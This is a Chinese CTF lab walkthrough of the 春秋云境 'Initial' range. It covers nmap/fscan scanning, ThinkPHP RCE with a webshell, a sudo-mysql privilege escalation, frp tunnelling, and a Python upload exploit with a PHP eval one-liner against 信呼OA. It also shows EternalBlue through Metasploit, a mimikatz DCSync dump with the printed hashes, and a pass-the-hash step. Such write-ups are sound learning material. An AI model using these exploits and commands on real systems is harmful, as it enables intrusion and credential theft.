春秋云境-Initial
写在最前面
圈圈表示你太菜了,并反手向你丢了7个沙砾(qwq)
钱队一直说渗透很重要,这次就用这个最简单的靶场来进行正式的入门(希望不会在明年7月留下遗憾)
开始!
flag1
题目给出了一个ip地址39.101.193.135,我们可以使用nmap来看看他开启了那些端口,命令为1
sudo nmap --min-rate 10000 39.101.193.135
这段命令是以最小速率 10000 对全部端口(1-65535)进行扫描,10000 是权衡的结果,数字过大扫描速度快,但容易遗漏端口,数字过小则扫描时间过长,经验表明 10000 就是扫描的合适速度。-p 是端口参数,-p- 表示对所有端口进行扫描。扫描结果如下:1
2
3
4
5
6
7
8
9
10
11┌──(root㉿kali)-[~/Desktop]
└─# sudo nmap --min-rate 10000 39.101.193.135
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-21 21:49 EDT
Nmap scan report for 39.101.193.135
Host is up (0.015s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 0.96 seconds
可以看到开启了 22、80 端口,22 端口是一个 ssh 服务,80 端口是一个 http 服务,接下来我们可以查看这个几个端口开启的服务和操作系统版本,命令如下:1
nmap –sT –sV -O –p22,80 39.101.193.135
其中-sT
表示进行TCP
扫描(三次握手),-p
表示待扫描的端口(后跟待扫描的端口 22、80)-sV
表示探测开放服务的版本,-O
表示探测操作系统版本,扫描结果如下:
可以看到这个ip是一台 ubuntu linux 服务器,好像也没有什么有用的信息,想到还有一个非常好用的扫描工具fscan
安装看fscan安装教程,在这个页面直接下载,不用按网上的教程配go环境编译,不然会被圈圈骂(bushi
这个工具有linux和windows版本,其具体用法可以看官方的文档,这里只用于进行简单的端口扫描,(cmd)输入:1
.\fscan -h 39.101.193.135
结果如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17D:\PenetrationW>.\fscan -h 39.101.193.135
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
39.101.193.135:22 open
39.101.193.135:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://39.101.193.135 code:200 len:5578 title:Bootstrap Material Admin
[+] PocScan http://39.101.193.135 poc-yaml-thinkphp5023-method-rce poc1
已完成 2/2
[*] 扫描结束,耗时: 47.871504s
可以看到 web server 的版本是ThinkPHP 5.0.23
,而且存在漏洞!!!
当然也可以使用nmap命令来进行漏洞扫描,命令如下:1
nmap --script=vuln -p22,80 39.99.255.153
这里使用ThinkphpGUI这个开源工具来进行扫一下,
工具链接为:Lotus6/ThinkphpGUI: Thinkphp(GUI)漏洞利用工具,支持各版本TP漏洞检测,命令执行,getshell。 (github.com)
输入url
和选择版本后点击检测和GetShell
即可
可以看到网页存在一个后门,工具还给了一个漏洞利用的poc
,我们利用他给的poc
来写入shell.php
后门,但是没什么回显
那就用蚁剑连接一下剩下的那个后门,成功连接
接下来就是需要提取,我们先看一下自己是什么权限(蚁剑的虚拟终端):1
2
3
4
5
6
7
8
9
10
11(www-data:/var/www/html) $ whoami
www-data
(www-data:/var/www/html) $ uname -a
Linux ubuntu-web01 5.4.0-110-generic #124-Ubuntu SMP Thu Apr 14 19:46:19 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
(www-data:/var/www/html) $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
(www-data:/var/www/html) $ sudo -l
Matching Defaults entries for www-data on ubuntu-web01:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ubuntu-web01:
(root) NOPASSWD: /usr/bin/mysql
可以看见是www-data
权限(无法进入root文件夹),但是输入sudo -l
时回显
(root) NOPASSWD: /usr/bin/mysql
这说明我们可以通过通过sudo
高权限运行mysql
,进而能够执行 root权限才能执行的命令,可以参考下面这篇文章,里面也有讲很多种提取的方法渗透测试:Linux提权精讲(三)之sudo方法第三期_nmap sudo 提权-CSDN博客
于是我们就能很容易的获取到flag1
,可以发现flag1
在/root/flag
目录下
1 | (www-data:/var/www/html) $ sudo mysql -e '\! /bin/sh' |
flag2
接下来就是要考虑内网横向移动,我们的最终目的是获取域控上的 flag,我们先用蚁剑上传 fscan,扫描一下内网中有那些存活机器
这里要记得给fscan
执行权限chmod 777 fscan
,否则会执行不了
通过ip a
我们可以发现网段为172.22.1.0/24
1 | ./fscan -h 172.22.1.0/24 |
扫描的结果会自动存在当前目录的result.txt
文件上
1 | (www-data:/var/www/html) $ chmod 777 fscan |
于是我们搜集到如下信息:
172.22.1.2:DC域控
172.22.1.21:Windows的机器并且存在MS17-010 漏洞
172.22.1.18:信呼OA办公系统
而我们的最终目标即为DC
域控
我们首先是对OA
办公系统进行攻击,在这之前我们要先进行内网穿透,其目的是使我们能够在攻击机访问内网的服务,这里我们需要一台vps
和工具frp
,学过web的师傅都知道 vps 是什么,这里就不做解释,frp
的相关知识也请读者自行学习,这里只做简单的介绍。frp的下载地址为,有linux和windows版本:
fatedier/frp: A fast reverse proxy to help you expose a local server behind a NAT or firewall to the internet. (github.com)
其中frpc
和frps
是可执行文件,我们需要将frps
和frps.ini
上传到我们的vpsfrpc
和frpc.ini
上传到我们的靶机
下面是我相关文件的配置
frpc.ini:1
2
3
4
5
6
7
8[common]
server_addr = 123.249.99.71 # 我vps的ip地址
server_port = 7000
[socks5]
type = tcp
plugin = socks5
remote_port = 798
frps.ini:1
2[common]
bind_port = 7000
这里要确保你的 vps 开启了 7000 和 798 端口
在vps
执行1
./frps -c frps.ini
然后在靶机执行:1
./frpc -c frpc.ini
(顺序不能反)
最后在攻击机你自己的电脑上(windows,不是 kali,kali 的配置方法在后面有讲)使用Proxy Servers配置 socks5 代理即可(不能提前开)
配置完后就能直接在浏览器中输入172.22.1.18
进行访问了,可以看到该系统的版本是2.2.8
(这个是重点,可以通过搜索系统的版本号看看有没有已经给发现的漏洞)
这里存在一个弱口令,admin/admin123
这个系统存在文件上传漏洞,有直接的poc,直接参考[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE_信呼协同办公系统弱口令-CSDN博客
exp用上面那个会报错,在网上又找了一个,下面的可以
exp.py:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33import requests
session = requests.session()
url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'
data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'YWRtaW4=',
'adminpass': 'YWRtaW4xMjM=',
'yanzm': ''
}
r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('dir');")
print(r.text)
相同目录下还有一个 1.php 文件存的是一句话木马
1.php:1
eval($_POST["1"]);
运行后可以看到文件上传的路径1
2
3PS D:\PenetrationW\script> & d:/ProgrammingLanguage/Python31/python3.exe d:/PenetrationW/script/exp.py
<br />
<b>Notice</b>: Undefined offset: 1 in <b>C:\phpStudy\PHPTutorial\WWW\upload\2024-09\22_11172620.php</b> on line <b>1</b><br />
然后直接蚁剑连接(记得蚁剑也要在代理设置里面设置socks5代理)
1 | C:\phpStudy\PHPTutorial\WWW\upload\2024-09> whoami |
我们直接在Administrator
用户的目录下找到 flag2
1 | ___ ___ ___ ________ ________ ________ ________ ________ ________ |
flag3
接下来我们就对ip 172.22.1.21
进行渗透,这里需要用到渗透框架Metasploit Framework
,kali自带这个框架,这里的攻击机我选用kali(windows也可以安装Metasploit Framework,不过上面我说过也要讲讲如何在kali设置代理)。我们首先要在kali
中设置socks5
代理,否则我们无法访问其内网的环境。
在kali
中设置代理比windows
简单很多,他自带了一个proxychains4
工具,我们只需要编辑etc
目录下的proxychians4.conf
文件:
在最下面的ProxyList上加上socks5 vps ip
端口 即可
1 | socks5 123.249.99.71 798 |
然后就能在浏览器中访问靶机内网的 172.22.1.* 那三台机器了
在上面用 fscan 的扫描中我们发现该机子存在 MS17-010 漏洞,这个就是大名鼎鼎的永恒之蓝漏洞
我们先在 kali 输入msfconsole
启动Metasploit Framework
(后面简称 msf)
输入search ms17-010
搜索ms17-010
相关模块,可以看到一共找到了 4 个不同的模块
1 | ┌──(kali㉿kali)-[/etc] |
这里我们选择使用第一个模块,因为他影响是版本比较多,然后接下来依次输入以下命令来发起永恒之蓝攻击:1
2
3
4use exploit/windows/smb/ms17_010_eternalblue # 选择使用的模块
set payload windows/x64/meterpreter/bind_tcp_uuid # 设置payload,可以通过show payloads查看
set RHOSTS 172.22.1.21 # 设置靶机的ip
exploit # 发起攻击
运行成功会出现meterpreter>
该Meterpreter
是metasploit
的一个扩展模块,可以调用metasploit
的一些功能,对目标系统进行更深入的渗透,入获取屏幕、上传/下载文件、创建持久后门等
1 | # 介绍一些该模块常用的命令 |
紧接着上图,可以发现我们已经成功的打进该主机,遗憾的是该机子上并没有 flag ,也就是说我们最后的flag 在 windows DC 域控制器上面
接下来是进行 DCSync 攻击,这里简单解释一下:
首先,什么是 DCSync
在域中,不同的域控之间,默认每隔15min就会进行一次域数据同步。当一个额外的域控想从其他域控同步数据时,额外域控会像其他域控发起请求,请求同步数据。如果需要同步的数据比较多,则会重复上述过程。DCSync就是利用这个原理,通过目录复制服务(Directory Replication Service,DRS)的GetNCChanges接口像域控发起数据同步请求,以获得指定域控上的活动目录数据。目录复制服务也是一种用于在活动目录中复制和管理数据的RPC协议。该协议由两个RPC接口组成。分别是drsuapi和dsaop。
DCSync是mimikatz在2015年添加的一个功能,由Benjamin DELPY gentilkiwi和Vincent LE TOUX共同编写,能够用来导出域内所有用户的hash
也就是说我们可以通过DCSync
来导出所有用户的 hash 然后进行哈希传递攻击,要想使用 DCSync 必须获得以下任一用户的权限1
2
3Administrators 组内的用户
Domain Admins 组内的用户
Enterprise Admins 组内的用户域控制器的计算机帐户
现在我们回看一开始fscan
的扫描结果1
[+] MS17-010 172.22.1.21 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
我们可以看到我们用永恒之蓝打下的这台机子是 enterprise 用户,也就是说满足 DCSync 攻击的条件,于是我们在 msf 中依次输入以下命令来获取用户的 hash1
2load kiwi # 调用mimikatz模块
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit # 导出域内所有用户的信息(包括哈希值)
下面是执行的全过程1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68msf6 > Interrupt: use the 'exit' command to quit
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp_uuid
payload => windows/x64/meterpreter/bind_tcp_uuid
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 172.22.1.21
RHOSTS => 172.22.1.21
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] 172.22.1.21:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 172.22.1.21:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Enterprise 7601 Service Pack 1 x64 (64-bit)
[*] 172.22.1.21:445 - Scanned 1 of 1 hosts (100% complete)
[+] 172.22.1.21:445 - The target is vulnerable.
[*] 172.22.1.21:445 - Connecting to target for exploitation.
[+] 172.22.1.21:445 - Connection established for exploitation.
[+] 172.22.1.21:445 - Target OS selected valid for OS indicated by SMB reply
[*] 172.22.1.21:445 - CORE raw buffer dump (53 bytes)
[*] 172.22.1.21:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
[*] 172.22.1.21:445 - 0x00000010 30 30 38 20 52 32 20 45 6e 74 65 72 70 72 69 73 008 R2 Enterpris
[*] 172.22.1.21:445 - 0x00000020 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 50 e 7601 Service P
[*] 172.22.1.21:445 - 0x00000030 61 63 6b 20 31 ack 1
[+] 172.22.1.21:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 172.22.1.21:445 - Trying exploit with 12 Groom Allocations.
[*] 172.22.1.21:445 - Sending all but last fragment of exploit packet
[*] 172.22.1.21:445 - Starting non-paged pool grooming
[+] 172.22.1.21:445 - Sending SMBv2 buffers
[+] 172.22.1.21:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 172.22.1.21:445 - Sending final SMBv2 buffers.
[*] 172.22.1.21:445 - Sending last fragment of exploit packet!
[*] 172.22.1.21:445 - Receiving response from exploit packet
[+] 172.22.1.21:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 172.22.1.21:445 - Sending egg to corrupted connection.
[*] 172.22.1.21:445 - Triggering free of corrupted buffer.
[*] Started bind TCP handler against 172.22.1.21:4444
[*] Sending stage (201798 bytes) to 172.22.1.21
[*] Meterpreter session 1 opened (10.0.2.15:36153 -> 172.22.1.21:4444) at 2024-09-21 23:38:50 -0400
[+] 172.22.1.21:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 172.22.1.21:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 172.22.1.21:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
meterpreter > kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit
[DC] 'xiaorang.lab' will be the domain
[DC] 'DC01.xiaorang.lab' will be the DC server
[DC] Exporting domain 'xiaorang.lab'
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
502 krbtgt fb812eea13a18b7fcdb8e6d67ddc205b 514
1106 Marcus e07510a4284b3c97c8e7dee970918c5c 512
1107 Charles f6a9881cd5ae709abb4ac9ab87f24617 512
1000 DC01$ 41934ce1b8888fd75b8179e3535a983a 532480
500 Administrator 10cf89a850fb1cdbe6bb432b859164c8 512
1104 XIAORANG-OA01$ bd227c7ddbf221ea74dea7834815adc5 4096
1108 XIAORANG-WIN7$ 22d4977c16a5cc2277246a4ce6400bab 4096
mimikatz(powershell) # exit
Bye!
meterpreter >
这里我们比较关注是Administrator
用户的 hash,接下来我们使用crackmapexec
来进行哈希传递攻击,来实现 DC域控 上的任意命令执行,通过以下命令来获取 flag3
1 | ┌──(kali㉿kali)-[~/Desktop] |
最终flag就出了
flag{60b53231-2ce3-4813-87d4-e8f88d0d43d6}
总结
这次只是春秋云镜最简单的靶机,提前看了许多wp,下好了工具,熟悉了每一个流程才开始打的,但是还是花了将近两个小时的时间,不过收获是真的很大,以前不怎么理解的原理终于懂了一些
总的来说,是个不错的开始,继续奋斗!